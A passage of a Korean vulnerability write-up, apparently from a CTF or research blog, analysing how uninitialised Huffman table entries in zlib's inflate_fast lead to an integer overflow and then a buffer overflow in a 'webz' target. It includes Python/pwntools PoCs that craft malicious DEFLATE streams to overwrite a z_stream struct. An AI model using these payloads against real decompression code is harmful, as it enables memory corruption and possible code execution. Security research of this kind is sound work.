Distance 디코딩 로직입니다. Distance 허프만 테이블인 dcode에서 code 구조체를 가져와 디코딩 합니다. 해당 Distance 디코딩 코드 이후 코드는 LZ77 디코딩에 관련된 코드입니다. 디코딩된 LZ77의 길이, 걸이 쌍을 통해 메모리 복사를 수행합니다. 단순한 복사지만 복사 길이와 버퍼 상태에 따른 최적의 복사 방식을 수행하기 위해 코드가 더럽습니다.

            else if ((op & 64) == 0) {          /* 2nd level distance code */
                here = dcode + here->val + (hold & ((1U << op) - 1));
                goto dodist;
            }
            else {
                strm->msg = (z_const char *)"invalid distance code";
                state->mode = BAD;
                break;
            }
        }
        else if ((op & 64) == 0) {              /* 2nd level length code */
            here = lcode + here->val + (hold & ((1U << op) - 1));
            goto dolen;
        }
        else if (op & 32) {                     /* end-of-block */
            Tracevv((stderr, "inflate:         end of block\n"));
            state->mode = TYPE;
            break;
        }
        else {
            strm->msg = (z_const char *)"invalid literal/length code";
            state->mode = BAD;
            break;
        }

LZ77 메모리 복사 코드 다음 부분에는 다단계 테이블 조회 및 invalid code 처리 코드가 있습니다.

4. Vulnerability

Deflate 알고리즘의 디코딩 알고리즘인 Inflate 알고리즘의 주요 구현을 분석했습니다. 취약점을 찾으셨나요? 모든 코드는 올바르게 설계되어있는 것 처럼 보입니다.

4-1. Unintialized Huffman Code Table

허프만 부호 테이블 생성 구현에는 사소한 문제점이 존재합니다. 허프만 부호 테이블은 완전하지 않을 수 있습니다. (Incomplete) 간단한 예를 들어보면, root값이 8이지만, 최대 허프만 부호 길이는 10인 테이블은 길이가 9인 허프만 부호에 대해서 어떠한 code 구조체도 기록하지 않습니다. 디코딩 과정에서 이러한 NULL 항목을 제대로 처리하고 있을까요?

// inflate.c
            if (here.op & 64) {
                strm->msg = (z_const char *)"invalid literal/length code";
                state->mode = BAD;
                break;
            }
...
            if (here.op & 64) {
                strm->msg = (z_const char *)"invalid distance code";
                state->mode = BAD;
                break;
            }

// inftrees.c
    if (huff != 0) {
        here.op = (unsigned char)64;            /* invalid code marker */
        here.bits = (unsigned char)(len - drop);
        here.val = (unsigned short)0;
        next[huff] = here;
    }

아닙니다. 지금까지의 분석을 통해 알 수 있듯이, 이러한 완전하지 않은 테이블 항목에 대해서는 op 값이 64인 Invalide Code가 할당되어야합니다.

결과적으로 이러한 NULL 항목은 op=0, bits=0, val=0 멤버 변수를 가진 code 구조체와 동일하게 처리됩니다. 또는 이전 블록에서 사용된 테이블 항목 값이 남아있을 수도 있습니다.

4-2. Exploiting inflate_fast

고속 디코딩을 위해 다양한 검증이 누락된 inflate_fast 함수는 이러한 불완전한 허프만 테이블에 대해서 메모리 손상을 유발할 수 있습니다. 이러한 가능성을 찾아보겠습니다.

최초로 식별된 메모리 오염은 Integer Overflow 였으며, 해당 메모리 오염은 악용으로 이어지지 않았습니다. 두번째는 Stream Overflow 였으며, 최종적으로 해당 취약점을 이용해 익스플로잇하였습니다. 아래에서는 두가지 메모리 오염에 대해서 모두 설명하겠습니다.

4-2-1. Integer Overflow (Unexploitable)

초기화되지 않은 테이블 항목(op=0, bits=0, val=0 )이 디코딩 루틴에서 어떤 문제를 일으키는지 알아보겠습니다.

      dolen:
        op = (unsigned)(here->bits);
        hold >>= op;
        bits -= op;
        op = (unsigned)(here->op);
        if (op == 0) {                          /* literal */
            Tracevv((stderr, here->val >= 0x20 && here->val < 0x7f ?
                    "inflate:         literal '%c'\n" :
                    "inflate:         literal 0x%02x\n", here->val));
            *out++ = (unsigned char)(here->val);
        }

먼저 Literal 디코딩 구현입니다. 멤버 변수가 op=0, bits=0, val=0 이와 같은 code 구조체에 대해서, 비트를 0개 소모하고 널바이트를 디코딩합니다. 비트를 소모하지 않기 때문에 inflate_fast 함수는 무한 반복하여, op=0, bits=0, val=0를 디코딩합니다.

    } while (in < last && out < end);

하지만 out의 범위가 반복문에서 제한되고 있기 때문에 Overflow는 발생하지 않습니다.

      dolen:
        op = (unsigned)(here->bits);
        hold >>= op;
        bits -= op;
        ...
        else if (op & 16) {                     /* length base */
            len = (unsigned)(here->val);
            op &= 15;                           /* number of extra bits */
            if (op) {
                if (bits < op) {
                    hold += (unsigned long)(*in++) << bits;
                    bits += 8;
                }
                len += (unsigned)hold & ((1U << op) - 1);
                hold >>= op;
                bits -= op;
            }
            ...
        else if ((op & 64) == 0) {              /* 2nd level length code */
            here = lcode + here->val + (hold & ((1U << op) - 1));
            goto dolen;
        }

그렇다면, Length 디코딩 구현에서는 어떨까요? op 값 검사로 인해 다단계 테이블 조회 루틴으로 넘어가게 됩니다. 이 경우, 비트를 소모하지 않고, 0번째 테이블 항목을 조회하게 됩니다.

          dodist:
            op = (unsigned)(here->bits);
            hold >>= op;
            bits -= op;
            op = (unsigned)(here->op);
            if (op & 16) {                      /* distance base */
                dist = (unsigned)(here->val);
                op &= 15;                       /* number of extra bits */
                if (bits < op) {
                    hold += (unsigned long)(*in++) << bits;
                    bits += 8;
                    if (bits < op) {
                        hold += (unsigned long)(*in++) << bits;
                        bits += 8;
                    }
                }
            ....
            else if ((op & 64) == 0) {          /* 2nd level distance code */
                here = dcode + here->val + (hold & ((1U << op) - 1));
                goto dodist;
            }

Distance 디코딩 구현에서도 Length 디코딩 구현과 비슷한 현상이 발생합니다. 마찬가지로 op 값 검사로 인해 다단계 테이블 조회 루틴으로 넘어가게 됩니다. 하지만 Length 디코딩 구현에서의 케이스보다 더 심각한 문제가 발생합니다. Length 디코딩 구현의 경우 다단계 테이블 조회 이후 Literal 디코딩 코드로 점프하지만 Distance 디코딩 구현의 경우, 다단계 테이블 조회 이후 다시 Distance 디코딩 구현으로 돌아옵니다.

해당 로직에서 발생하는 "0번째 테이블 항목 조회"라는 잘못된 동작에 대해서 다시 한번 생각해보겠습니다. 해당 동작의 가장 큰 문제점은 하위 테이블을 조회하도록 설계된 다단계 테이블 조회 루틴이 메인 테이블을 조회하게 만든다는 것입니다. 하위 테이블의 bit값은 메인 테이블의 root값 만큼 감소된 상태이지만, 메인 테이블은 그렇지 않습니다. inflate_fast 함수는 버퍼에 항상 16개 이상의 비트를 채워넣고, 경계 검사 없이 고속 디코딩을 수행합니다. 이는 어떠한 경우에도 허프만 부호의 최대 길이가 15를 넘지 않는다는 것이 보장되기 때문입니다. 하지만 0번째 테이블 항목 조회"라는 잘못된 동작은 이러한 신뢰성을 무너뜨립니다.

왜 허프만 부호의 최대 길이는 15일까요? Code 허프만 테이블 생성 부분을 다시 한번 살펴보면 알 수 있습니다. Code 허프만 테이블이 디코딩할 수 있는 최대 길이는 15이므로, 허프만 부호 길이가 15를 초과하는 값은 테이블로 만들어질 수가 없습니다.

다음과 같은 케이스를 고려해보겠습니다.

버퍼의 비트 수: 16 (존재할 수 있는 최소 길이의 비트 수)
메인 테이블 길이(`root`): 10
최대 허프만 부호 길이: 12

1. Distance 디코딩 루틴의 정상적인 다단계 테이블 조회 -> 초기화 되지 않은 테이블 항목 조회 `op=0, bits=0, val=0` (비트 수: 16 - 10 = 6)
2. Distance 디코딩 루틴의 비정상 다단계 테이블 조회 -> 0번째 테이블 항목 조회 (비트 수: 6 - 0 = 6)
3. 0번째 테이블 항목 디코딩 (비트 수: 6 - 10 = -2)

이전에 언급하였듯, Distance 디코딩 구현의 경우, 다단계 테이블 조회 이후 다시 Distance 디코딩 구현으로 돌아옵니다. 즉, 다단계 테이블 조회에서 초기화 되지 않은 테이블 항목(op=0, bits=0, val=0)을 조회하였을때, 다시 다단계 테이블 조회가 수행되며, 0번째 테이블 항목을 조회하게 됩니다. 해당 항목은 서브 테이블의 항목이 아닌, 메인 테이블의 항목이기 때문에 더 많은 비트 수가 차감됩니다. 최종적으로 inflate_fast 함수 내에 버퍼 길이 변수인 bits 값에서 Integer Overflow가 발생합니다.

    /* return unused bytes (on entry, bits < 8, so in won't go too far back) */
    len = bits >> 3;
    in -= len;
    bits -= len << 3;
    hold &= (1U << bits) - 1;

    /* update state and return */
    strm->next_in = in;
    strm->next_out = out;
    strm->avail_in = (unsigned)(in < last ? 5 + (last - in) : 5 - (in - last));
    strm->avail_out = (unsigned)(out < end ?
                                 257 + (end - out) : 257 - (out - end));
    state->hold = hold;
    state->bits = bits;
    return;

inflate_fast 함수 마지막에서 사용되지 않은 비트 버퍼 길이만큼 다시 in(strm->next_in) 및 strm->avail_in 변수 값을 조정합니다. 따라서, 이러한 비트 길이 변수 bits에 대한 Integer Overflow는 strm->next_in 및 strm->avail_in 변수를 오염시키고, 이후 디코딩 프로세스에 영향을 주게 됩니다.

4-2-2. PoC

import struct

class BitStream:
    """LSB-first bit stream writer."""
    def __init__(self):
        self.bits = 0
        self.bit_count = 0
        self.data = bytearray()

    def write_bits(self, value, num_bits):
        for i in range(num_bits):
            bit = (value >> i) & 1
            if bit:
                self.bits |= (1 << self.bit_count)
            self.bit_count += 1
            if self.bit_count == 8:
                self.data.append(self.bits)
                self.bits = 0
                self.bit_count = 0

    def get_bytes(self):
        if self.bit_count > 0:
            self.data.append(self.bits)
        return self.data

def generate_huffman_codes_from_lengths(lengths):
    max_len = 0
    for length in lengths:
        if length > max_len:
            max_len = length
    
    if max_len == 0:
        return {}

    bl_count = [0] * (max_len + 1)
    for length in lengths:
        if length > 0:
            bl_count[length] += 1
    
    code = 0
    next_code = [0] * (max_len + 1)
    for bits_len in range(1, max_len + 1):
        code = (code + bl_count[bits_len - 1]) << 1
        next_code[bits_len] = code

    huffman_codes = {}
    for i, length in enumerate(lengths):
        if length != 0:
            rev_code = int(f'{next_code[length]:0{length}b}'[::-1], 2)
            huffman_codes[i] = (rev_code, length)
            next_code[length] += 1
    
    return huffman_codes

lbase = [3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31, 35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258]
lext = [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0]
dbase = [1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193, 257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145, 8193, 12289, 16385, 24577]
dext = [0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13]
order = [16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15]

def find_len_sym(length):
    for i in range(len(lbase)):
        if lbase[i] > length:
            i -= 1
            break
    base_len = lbase[i]
    extra_bits = lext[i]
    extra_val = length - base_len
    return 257 + i, extra_bits, extra_val

def find_dist_sym(distance):
    for i in range(len(dbase)):
        if dbase[i] > distance:
            i -= 1
            break
    base_dist = dbase[i]
    extra_bits = dext[i]
    extra_val = distance - base_dist
    return i, extra_bits, extra_val

def encode_lengths_rle(lengths):
    encoded = []
    i = 0
    while i < len(lengths):
        current_len = lengths[i]
        
        if current_len == 0:
            count = 0
            while i + count < len(lengths) and lengths[i + count] == 0 and count < 138:
                count += 1
            if count >= 11:
                encoded.append((18, count - 11))
                i += count
                continue
            if count >= 3:
                encoded.append((17, count - 3))
                i += count
                continue

        if i > 0 and current_len == lengths[i - 1]:
            count = 0
            while i + count < len(lengths) and lengths[i + count] == current_len and count < 6:
                count += 1
            if count >= 3:
                encoded.append((16, count - 3))
                i += count
                continue

        encoded.append((current_len, None))
        i += 1
    return encoded

def create_dynamic_deflate_payload(stream, is_last, symbol_stream, ll_lengths, dist_lengths):
    
    nlen = max(i for i, length in enumerate(ll_lengths) if length > 0) + 1
    ndist = max(i for i, length in enumerate(dist_lengths) if length > 0) + 1
    
    all_lengths = ll_lengths[:nlen] + dist_lengths[:ndist]
    rle_encoded_lengths = encode_lengths_rle(all_lengths)
    
    rle_symbols = [item[0] for item in rle_encoded_lengths]
    code_symbol_freqs = {sym: rle_symbols.count(sym) for sym in set(rle_symbols)}
    
    code_table_lengths = [0] * 19
    for sym in code_symbol_freqs:
        code_table_lengths[sym] = 7
    
    ncode = max(i for i, length in enumerate(order) if code_table_lengths[length] > 0) + 1

    code_huffman_table = generate_huffman_codes_from_lengths(code_table_lengths)

    stream.write_bits(is_last, 1) # BFINAL
    stream.write_bits(2, 2) # BTYPE (10 for dynamic)

    stream.write_bits(nlen - 257, 5)
    stream.write_bits(ndist - 1, 5)
    stream.write_bits(ncode - 4, 4)

    for i in range(ncode):
        stream.write_bits(code_table_lengths[order[i]], 3)
        
    for sym, extra_val in rle_encoded_lengths:
        code, length = code_huffman_table[sym]
        stream.write_bits(code, length)
        if sym == 16: stream.write_bits(extra_val, 2)
        elif sym == 17: stream.write_bits(extra_val, 3)
        elif sym == 18: stream.write_bits(extra_val, 7)


    ll_huffman_table = generate_huffman_codes_from_lengths(ll_lengths)
    dist_huffman_table = generate_huffman_codes_from_lengths(dist_lengths)
    
    for type, val in symbol_stream:
        if type == 'LIT':
            code, length = ll_huffman_table[val]
            stream.write_bits(code, length)
        elif type == 'EOB':
            code, length = ll_huffman_table[val]
            stream.write_bits(code, length)
        elif type == 'LD':
            l, d = val
            len_sym, len_extra_bits, len_extra_val = find_len_sym(l)
            dist_sym, dist_extra_bits, dist_extra_val = find_dist_sym(d)
            
            code, length = ll_huffman_table[len_sym]
            stream.write_bits(code, length)
            if len_extra_bits > 0:
                stream.write_bits(len_extra_val, len_extra_bits)
            
            code, length = dist_huffman_table[dist_sym]
            stream.write_bits(code, length)
            if dist_extra_bits > 0:
                stream.write_bits(dist_extra_val, dist_extra_bits)
        elif type == 'INVALID':
            code, length = val
            stream.write_bits(code, length)


stream = BitStream()

# "AABCABC" -> 'A', 'A', 'B', 'C', (L=3, D=3), EOB
symbol_stream = [
    ('LIT', 65), ('LIT', 65), ('LIT', 66), ('LIT', 67),
    ('LD', (3, 3))
]

symbol_stream.append(("INVALID", (int('000000000000110'[::-1],2),15)))
symbol_stream.append(("INVALID", (int('000000001001'[::-1],2),12)))

symbol_stream.append(('EOB', 256))

for i in range(0,0x200):
    symbol_stream.append(('LIT', 65))

ll_lengths = [0] * 286
ll_lengths[65] = 15  # 'A'
ll_lengths[66] = 15  # 'B'
ll_lengths[67] = 15  # 'C'
ll_lengths[68] = 15  # 'D'
ll_lengths[69] = 15  # 'E'
ll_lengths[256] = 15 # EOB
ll_lengths[257] = 15 # Length 3

dist_lengths = [0] * 30
dist_lengths[2] = 10 # Distance 3
dist_lengths[3] = 10 # Distance 4
dist_lengths[4] = 12 # Distance 5

create_dynamic_deflate_payload(stream, 0, symbol_stream, ll_lengths, dist_lengths)
payload = stream.get_bytes()

print(f"Generated DEFLATE payload ({len(payload)} bytes):")
print(payload.hex())

from pwn import *

p = process("./src/webz_asan")

def send_webz_payload(pay):
    MAX_AROUND_WIDTH_HEIGHT = p8(0x0) + p8(52) + p8(0x0) + p8(52) # MAX = 52, 52
    p.send(p32(len(pay)+12))
    p.send(b"WEBZ"+MAX_AROUND_WIDTH_HEIGHT+b"\x00\x00\x00\x00"+pay)

send_webz_payload(payload)

p.interactive()

위에서 언급한 케이스를 그대로 재현하겠습니다. Distance 허프만 테이블의 root 값은 10이며, 최대 허프만 부호 길이는 12 입니다. 따라서 Distance 허프만 테이블에는 채워지지 않은 항목인 op=0, bits=0, val=0 멤버 변수 값을 가진 code 구조체가 포함되어있게 됩니다. 이를 다단계 테이블 조회를 통해 디코딩하도록 압축 데이터 스트림을 작성하면 성공적으로 해당 취약점을 트리거할 수 있습니다.‘

    symbol_stream.append(("INVALID", (int('000000000000110'[::-1],2),15)))
    symbol_stream.append(("INVALID", (int('000000001001'[::-1],2),12)))

핵심적인 코드는 다음과 같습니다. 첫번째 허프만 부호는 길이가 15인 정상적인 Length 허프만 부호 입니다. 두번째는 길이가 12인 비정상 Distanace 허프만 부호입니다.

dist_lengths[4] = 12 # Distance 5

Distance 5에 해당하는 정상적인 허프만 부호는 000000001000 입니다. 반면 허프만 부호 000000001001는 다단계 테이블 조회를 통해 Distance 5의 해당하는 code 구조체가 아닌, 초기화 되지 않은 code 구조체를 조회하게 됩니다.

결과적으로 오염된 next_in 값으로 인해 메모리 손상이 발생합니다.

하지만 해당 메모리 오염은 익스플로잇으로 이어지지 않습니다. 첫번째 블록에서 임의의 더미 데이터를 압축 해제한 후, 두번째 블록에서 End of Block 허프만 코드만 존재하는 Literal / Length 허프만 테이블과 함께 취약점을 트리거하면, Crash 없이 next_in 및 avain_in 값이 오염된 상태를 만들 수 있습니다. 다만 해당 변수들은 압축 해제 데이터 관련 변수가 아닌 압축 데이터 관련 변수이기 때문에 메모리 쓰기 대상인 압축 해제 데이터 버퍼에서 오버플로우나 OOB를 트리거할 수는 없었습니다.

4-2-3. Buffer Overflow (Exploitable)

그렇다면, 초기화되지 않은 허프만 테이블을 악용하기 위해서는 무엇을 살펴봐야하는지 다시한번 생각해봅시다. zlib을 익스플로잇하기 위한 가장 합리적인 루트는 복사 루틴을 악용하는 것입니다. Stored Block 처리 로직의 단순 메모리 복사나 LZ77 알고리즘의 복사 루틴은 강력한 버퍼 오버플로우 프리미티브가 될 수 있습니다. 이를 위해서는 주어진 취약점으로 해당 복사 루틴의 검증을 무력화해야합니다.

즉, avain_in 값을 오염시키는 것이 아닌, avain_out 값을 오염시켜야합니다. 이를 위해서 먼저, inflate_fast 함수의 LZ77 디코딩 루틴을 살펴봅시다.

        else if (op & 16) {                     /* length base */
            len = (unsigned)(here->val);
            op &= 15;                           /* number of extra bits */
            if (op) {
                if (bits < op) {
                    hold += (unsigned long)(*in++) << bits;
                    bits += 8;
                }
                len += (unsigned)hold & ((1U << op) - 1);
                hold >>= op;
                bits -= op;
            }
            Tracevv((stderr, "inflate:         length %u\n", len));
            if (bits < 15) {
                hold += (unsigned long)(*in++) << bits;
                bits += 8;
                hold += (unsigned long)(*in++) << bits;
                bits += 8;
            }
            here = dcode + (hold & dmask);
          dodist:
            op = (unsigned)(here->bits);
            hold >>= op;
            bits -= op;
            op = (unsigned)(here->op);
            if (op & 16) {                      /* distance base */
                dist = (unsigned)(here->val);
                op &= 15;                       /* number of extra bits */
                if (bits < op) {
                    hold += (unsigned long)(*in++) << bits;
                    bits += 8;
                    if (bits < op) {
                        hold += (unsigned long)(*in++) << bits;
                        bits += 8;
                    }
                }
                dist += (unsigned)hold & ((1U << op) - 1);
#ifdef INFLATE_STRICT
                if (dist > dmax) {
                    strm->msg = (z_const char *)"invalid distance too far back";
                    state->mode = BAD;
                    break;
                }
#endif
                hold >>= op;
                bits -= op;
                Tracevv((stderr, "inflate:         distance %u\n", dist));

inflate_fast 함수의 LZ77 디코딩 구현에는 어떠한 검사 코드도 없습니다. 해당 디코딩 루틴에서 사용되는 조건문은 모두 고속화된 버퍼 처리 및 복사를 위한 것이며, 유일한 검사 코드는 Distance 디코딩 단계에서의 if (dist > dmax) 뿐입니다.

아무런 경게 검사 없이 어떻게 inflate_fast 함수는 안전하게 동작할 수 있는 것일까요?

    static const unsigned short lbase[31] = { /* Length codes 257..285 base */
        3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31,
        35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258, 0, 0};
    static const unsigned short lext[31] = { /* Length codes 257..285 extra */
        16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18,
        19, 19, 19, 19, 20, 20, 20, 20, 21, 21, 21, 21, 16, 73, 200};

LZ77 디코딩 루틴에서 복사 가능한 최대 길이, 즉 Length 값의 최댓값은 lbase[28](258) + (lext[28](16) & 15)(0 => 0b0) = 258 입니다. 이전 분석에서 우리는 남아있는 압축 해제 데이터 스트림(strm->avail_out)이 258 이상인 경우에만 inflate_fast 함수에 진입하며, 해당 조건이 만족되지 않는 순간 반복문이 종료된다는 것을 알아냈습니다. 즉, inflate_fast 함수 내에서는 항상 압축 해제 데이터 스트림 버퍼가 258 바이트 이상 남아있음을 보장받기에 Length에 대한 아무런 검사 없이 디코딩을 수행할 수 있는 것입니다.

            state->next = state->codes;
            state->lencode = state->distcode = (const code FAR *)(state->next);
            state->lenbits = 7;
            ret = inflate_table(CODES, state->lens, 19, &(state->next),
                                &(state->lenbits), state->work);

inflate 함수의 inflate_table 함수 호출 부분을 살펴보면, 허프만 테이블은 state->codes 배열에 기록되며, 해당 배열은 최초 할당 이후 초기화되지 않습니다. 또한 각각의 허프만 테이블의 경계는 임의로 나눠져있지 않으며 state->next 변수를 통해, 각 허프만 테이블은 state->codes 배열 상에서 동적인 위치를 가집니다.

즉, 이전 블록에서 생성된 허프만 테이블 값이 다음 블록의 허프만 테이블 중 초기화되지 않은 항목에 남아있을 수 있으며, 해당 값은 다른 종류의 허프만 테이블 항목일 수도 있습니다.

위와 같은 케이스에서, 이전 블록의 Distance 허프만 테이블의 항목이 초기화되지 않은 상태로 다음 블록의 Literal / Length 허프만 테이블에 남게될 경우 문제가 발생합니다. Deflate 알고리즘 내에서 길이(Length)의 최댓값은 위에서 확인했다시피 258 입니다. 하지만 거리(Distance)의 최댓값은 이보다 훨씬 큽니다. 따라서 Distance 허프만 테이블 항목이 초기화되지 않은 상태로 Literal / Length 허프만 테이블에 남게되는 경우,
inflate_fast 함수의 신뢰성이 깨지게 됩니다.

    strm->avail_out = (unsigned)(out < end ?
                                 257 + (end - out) : 257 - (out - end));

결론적으로 inflate_fast 함수의 LZ77 디코딩 루틴이 초기화되지 않은 테이블을 참조하여, 258보다 큰 Distance 심볼을 Length 심볼로 처리할 경우, strm->avail_out에서 Integer Overflow가 발생합니다. avain_in과 달리 avail_out은 사용가능한(남아있는) 압축해제 버퍼의 크기를 나타내기 때문에, 즉시 오버플로우로 이어지게 됩니다.

#define MAX_INPUT_SIZE 4096
#define MAX_OUTPUT_SIZE (MAX_INPUT_SIZE * 2)

typedef struct EncodedWebz {
    uint8_t data[MAX_INPUT_SIZE];
    size_t size;
} EncodedWebz;

typedef struct DecodedWebz {
    uint8_t data[MAX_OUTPUT_SIZE];
    size_t size;
} DecodedWebz;

typedef struct WebzState {
    EncodedWebz encoded;
    DecodedWebz decoded;
    z_stream infstream;
    char ok_status[5];
} WebzState;

WebzState webz_state;

압축 해제 데이터가 쓰여지는 버퍼는 webz.c의 전역변수인 webz_state 내에 있습니다. 몇가지 사실을 짚고 넘어가자면, 성공적으로 Buffer Overflow를 통해 메모리를 오염시키려면 길이가 8192를 초과하는 데이터를 써야한다는 것입니다. 해당 길이를 넘어가는 데이터 값은 그대로 z_stream infstream 스트림 구조체를 덮어쓰게 됩니다.

4-2-4. PoC

stream = BitStream()

# STORED BLOCK ===============================================================================
stream.write_bits(0, 1) # BFINAL
stream.write_bits(0, 2) # BTYPE (0 for stored)
stream.bytebits()
stored_block_length = 0x200
stream.write_bits(stored_block_length + ( (stored_block_length ^ 0xffff) << 16 ), 32) 
for i in range(0, stored_block_length):
    stream.write_bits(ord('X'), 8)
# STORED BLOCK ===============================================================================

# DYNAMIC BLOCK ==============================================================================
symbol_stream = [ ('EOB', 256) ]

ll_lengths = [0] * 286
ll_lengths[256] = 3 # EOB

dist_lengths = [0] * 30
for i in range(17,30):
    dist_lengths[i] = 15

create_dynamic_deflate_payload(stream, 0, symbol_stream, ll_lengths, dist_lengths)
# DYNAMIC BLOCK ==============================================================================

# DYNAMIC BLOCK ==============================================================================
symbol_stream = []

symbol_stream.append(("INVALID", (8,10)))
symbol_stream.append(("INVALID", (0b1111111,7))) # extra bits
symbol_stream.append(("INVALID", (int('000'[::-1],2),3)))
symbol_stream.append(("INVALID", (0b1111111,7))) # extra bits
symbol_stream.append(('EOB', 256))
ll_lengths = [0] * 286
ll_lengths[256] = 10 # EOB
ll_lengths[257] = 10 # Length 3
ll_lengths[258] = 12 # Length 4

dist_lengths = [0] * 30
dist_lengths[17] = 3 # Distance ???

create_dynamic_deflate_payload(stream, 0, symbol_stream, ll_lengths, dist_lengths)
# DYNAMIC BLOCK ==============================================================================

# STORED BLOCK ===============================================================================
stream.write_bits(0, 5) # dummy
stream.write_bits(0, 1) # BFINAL
stream.write_bits(0, 2) # BTYPE (0 for stored)
stream.bytebits()
stored_block_length = 0x10
stream.write_bits(stored_block_length + ( (stored_block_length ^ 0xffff) << 16 ), 32) 
for i in range(0, stored_block_length):
    stream.write_bits(ord('C'), 8)
# STORED BLOCK ===============================================================================

# DYNAMIC BLOCK ==============================================================================
symbol_stream = []
symbol_stream.append(('LIT', 65))
for i in range(0,0x2ce):
    symbol_stream.append(('LD', (10, 1)))
for i in range(0,7):
    symbol_stream.append(('LIT', 65))
symbol_stream.append(('EOB', 256))

ll_lengths = [0] * 286
ll_lengths[65] = 3  # 'A'
ll_lengths[256] = 3 # EOB
ll_lengths[264] = 3 # Length 10

dist_lengths = [0] * 30
dist_lengths[0] = 3 # Distance 1


create_dynamic_deflate_payload(stream, 0, symbol_stream, ll_lengths, dist_lengths)
# DYNAMIC BLOCK ==============================================================================

# STORED BLOCK ===============================================================================
overwrriten_infstream = b'X'*0x60

stream.write_bits(1, 1) # BFINAL
stream.write_bits(0, 2) # BTYPE (0 for stored)
stream.bytebits()
stored_block_length = len(overwrriten_infstream)
stream.write_bits(stored_block_length + ( (stored_block_length ^ 0xffff) << 16 ), 32) 
for i in range(0, stored_block_length):
    stream.write_bits(overwrriten_infstream[i], 8)
# STORED BLOCK =============================================================================

"""
0x000064f4b0253370│+0x0000: 0x000064f4b02507de  →  0x0000000000000000
0x000064f4b0253378│+0x0008: 0x0000000000000000
0x000064f4b0253380│+0x0010: 0x0000000000000472
0x000064f4b0253388│+0x0018: 0x000064f4b0253370  →  0x000064f4b02507de  →  0x0000000000000000
0x000064f4b0253390│+0x0020: 0x00000000ffffe304  →  0x0000000000000000
0x000064f4b0253398│+0x0028: 0x0000000000002008
0x000064f4b02533a0│+0x0030: 0x000064f4b02533e0  →  0x0000000000000000
0x000064f4b02533a8│+0x0038: 0x0000000000000000
0x000064f4b02533b0│+0x0040: 0x000064f4af885820  →  <webz_alloc+0000> push rbp
0x000064f4b02533b8│+0x0048: 0x000064f4af8a3390  →  <zcfree+0000> push rbp
0x000064f4b02533c0│+0x0050: 0x0000000000000000
0x000064f4b02533c8│+0x0058: 0x0000000000000040 ("@"?)
"""

payload = stream.get_bytes()
print(f"Generated DEFLATE payload ({len(payload)} bytes):")

p = process("./webz")
#p = process("./src/webz_asan")

def send_webz_payload(pay):
    #MAX_AROUND_WIDTH_HEIGHT = p8(0x0) + p8(52) + p8(0x0) + p8(52) # MAX = 52, 52
    NORMAL_AROUND_WIDTH_HEIGHT = p8(0x0) + p8(52) + p8(0x0) + p8(5)
    p.send(p32(len(pay)+12))
    p.send(b"WEBZ"+NORMAL_AROUND_WIDTH_HEIGHT+b"\x00\x00\x00\x00"+pay)

raw_input()
send_webz_payload(payload)

p.interactive()

PoC는 위와 같습니다. 총 6개의 Block으로 이루어져있는데, 하나씩 살펴보겠습니다.

# STORED BLOCK ===============================================================================
stream.write_bits(0, 1) # BFINAL
stream.write_bits(0, 2) # BTYPE (0 for stored)
stream.bytebits()
stored_block_length = 0x200
stream.write_bits(stored_block_length + ( (stored_block_length ^ 0xffff) << 16 ), 32) 
for i in range(0, stored_block_length):
    stream.write_bits(ord('X'), 8)
# STORED BLOCK ===============================================================================

첫번째 Block입니다. 단순히, 압축해제 버퍼에 더미 값을 밀어넣어, 이후 LZ77 디코딩 로직에서 너무 큰 거리 값으로 인해 문제가 발생하지 않게 하기 위해 존재하는 Block 입니다.

# DYNAMIC BLOCK ==============================================================================
symbol_stream = [ ('EOB', 256) ]

ll_lengths = [0] * 286
ll_lengths[256] = 3 # EOB

dist_lengths = [0] * 30
for i in range(17,30):
    dist_lengths[i] = 15

create_dynamic_deflate_payload(stream, 0, symbol_stream, ll_lengths, dist_lengths)
# DYNAMIC BLOCK ==============================================================================

두번째 Block 입니다. 본격적인 취약점 트리거를 위해, 허프만 테이블을 Distance 심볼로 채우는 역할을 합니다. 이후 테이블에서 해당 심볼들이 초기화되지 않은 상태로 남아 취약점을 트리거합니다.

# DYNAMIC BLOCK ==============================================================================
symbol_stream = []

symbol_stream.append(("INVALID", (8,10)))
symbol_stream.append(("INVALID", (0b1111111,7))) # extra bits
symbol_stream.append(("INVALID", (int('000'[::-1],2),3)))
symbol_stream.append(("INVALID", (0b1111111,7))) # extra bits
symbol_stream.append(('EOB', 256))
ll_lengths = [0] * 286
ll_lengths[256] = 10 # EOB
ll_lengths[257] = 10 # Length 3
ll_lengths[258] = 12 # Length 4

dist_lengths = [0] * 30
dist_lengths[17] = 3 # Distance ???

create_dynamic_deflate_payload(stream, 0, symbol_stream, ll_lengths, dist_lengths)
# DYNAMIC BLOCK ==============================================================================

세번째 Block 입니다. 완전하지 않은(Incomplete) 허프만 테이블을 만들고 초기화되지 않은 요소를 참조하여 LZ77 디코딩을 수행합니다. 해당 Block에서 실질적으로 취약점이 트리거되어,avail_out값에서 Integer Overflow가 발생합니다. 이후 Block에서부터는 더 이상 압축해제 버퍼에 대한 경계 검사 및 크기 검사가 올바르게 동작하지 않기 때문에 Buffer Overflow가 발생합니다.

# STORED BLOCK ===============================================================================
stream.write_bits(0, 5) # dummy
stream.write_bits(0, 1) # BFINAL
stream.write_bits(0, 2) # BTYPE (0 for stored)
stream.bytebits()
stored_block_length = 0x10
stream.write_bits(stored_block_length + ( (stored_block_length ^ 0xffff) << 16 ), 32) 
for i in range(0, stored_block_length):
    stream.write_bits(ord('C'), 8)
# STORED BLOCK ===============================================================================

# DYNAMIC BLOCK ==============================================================================
symbol_stream = []
symbol_stream.append(('LIT', 65))
for i in range(0,0x2ce):
    symbol_stream.append(('LD', (10, 1)))
